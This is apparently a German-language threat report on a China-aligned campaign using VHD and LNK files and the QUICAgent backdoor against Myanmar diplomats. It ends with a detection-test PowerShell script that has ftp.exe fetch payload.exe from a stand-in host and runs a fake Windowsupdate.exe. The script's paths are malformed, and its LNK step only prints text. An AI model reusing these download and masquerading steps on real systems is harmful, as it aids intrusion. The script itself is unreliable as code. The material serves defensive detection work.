China-ausgerichteter Akteur nutzt VHD-Dateien, um myanmarische Diplomaten anzugreifen

Zusammenfassung

Ein Bedrohungsakteur mit China-Bezug zielt mit einer mehrstufigen Infektionskette, die über Virtual Hard Disk (VHD)-Dateien geliefert wird, auf das Personal der Regierung von Myanmar ab. Die Kampagne nutzt bösartige LNK-Dateien, um ftp.exe für die Wiederherstellung der Nutzlast zu missbrauchen und setzt eine benutzerdefinierte Go-basierte Hintertür namens QUICAgent ein. Die Malware verlässt sich auf Cloudflare Workers für die dynamische C2-Auflösung und kommuniziert über das QUIC-Protokoll.

Untersuchung

Das Seqrite APT-Team analysierte VHD-Beispiele mit Ablenkungsdokumenten und identifizierte bösartige LNK-Dateien, die als PDF-Dateien getarnt sind. Die Untersuchung deckte eine Split-Payload-Technik auf, bei der zwei Dateien mit dem copy Befehl kombiniert werden, um eine ausführbare Datei wiederherzustellen. Die technische Analyse des QUICAgent-Implants offenbarte auch Umgehungsmaßnahmen für Sandboxen durch wiederholtes SHA-256-Hashen und benutzerdefinierte TLS-Zertifikatsüberprüfung.

Minderung

Organisationen sollten die Ausführung von nicht vertrauenswürdigen LNK-Dateien einschränken und auf verdächtige untergeordnete Prozesse achten, die ftp.exebeinhalten. Strenge Kontrollen bei der Verwendung von Virtual Hard Disks (VHD) und Überwachung von ungewöhnlichem Netzwerkverkehr über UDP-Port 443 mit QUIC werden empfohlen. Die Blockierung bekannter bösartiger Cloudflare Worker-Endpunkte kann auch das C2-Auflösungsmechanismus der Kampagne unterbrechen.

Antwort

Wenn QUICSILVER-Aktivitäten entdeckt werden, sollten betroffene Systeme sofort isoliert werden, um weitere Datenexfiltration und C2-Kommunikation zu stoppen. Ermittler sollten %LOCALAPPDATA% auf die Windowsupdate.exe -Datei überprüfen und den Startordner des Benutzers auf SystemIn.lnküberprüfen. Netzwerkprotokolle sollten auch auf Verbindungen zu bekannten C2-Domänen und IP-Adressen analysiert werden, um das Ausmaß des Kompromisses zu bestimmen.

Simulation der Ausführung

Voraussetzung: Der Telemetrie- und Baseline-Pre-flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel zu aktivieren. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu Fehldiagnosen.

• Angriffsnarrativ & Befehle: Ein Angreifer versucht, sich einen Vorteil zu verschaffen, indem er legitime Systemprozesse imitiert. Zuerst verwenden sie ftp.exe mit einer Skriptdatei (-s:) um eine bösartige Nutzlast herunterzuladen und zu versuchen, sich in automatisierte Verwaltungsaufgaben einzufügen. Gleichzeitig simulieren sie die Bereitstellung einer „Windows Update“-Binärdatei (umbenannt), um die Ausführung der Nutzlast zu verschleiern. Schließlich verwenden sie ein PowerShell-Skript, das eine bösartige .lnk Datei erstellt, um die Persistenz über Benutzerinteraktion sicherzustellen.

• Regressionstest-Skript:

  # 1. Simuliere FTP-Skript-basierter Download (Trigger 1 Teil A)
  $ftpScript = "open ftp.example.com`nuser anonymous anonymous`nget payload.exe`nquit"
  $ftpScript | Out-File -FilePath "$env:TEMPftp_script.txt" -Encoding ASCII
  Start-Process "ftp.exe" -ArgumentList "-s:$env:TEMPftp_script.txt" -Wait
  
  # 2. Simuliere Windowsupdate.exe-Ausführung (Trigger 1 Teil B)
  # Hinweis: Dies setzt voraus, dass eine Datei namens Windowsupdate.exe existiert oder aufgerufen wird
  # Zur Simulation erstellen wir eine Dummy-Datei und führen sie aus
  New-Item -Path "$env:TEMPWindowsupdate.exe" -ItemType File -Force
  Start-Process "$env:TEMPWindowsupdate.exe"
  
  # 3. Simuliere PowerShell-LNK-Erstellung (Trigger 2)
  Start-Process "powershell.exe" -ArgumentList "-Command", "Write-Output 'create_lnk_process_running'"

• Bereinigungskommandos:

  # Simulierte Artefakte entfernen
  Remove-Item -Path "$env:TEMPftp_script.txt" -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPWindowsupdate.exe" -ErrorAction SilentlyContinue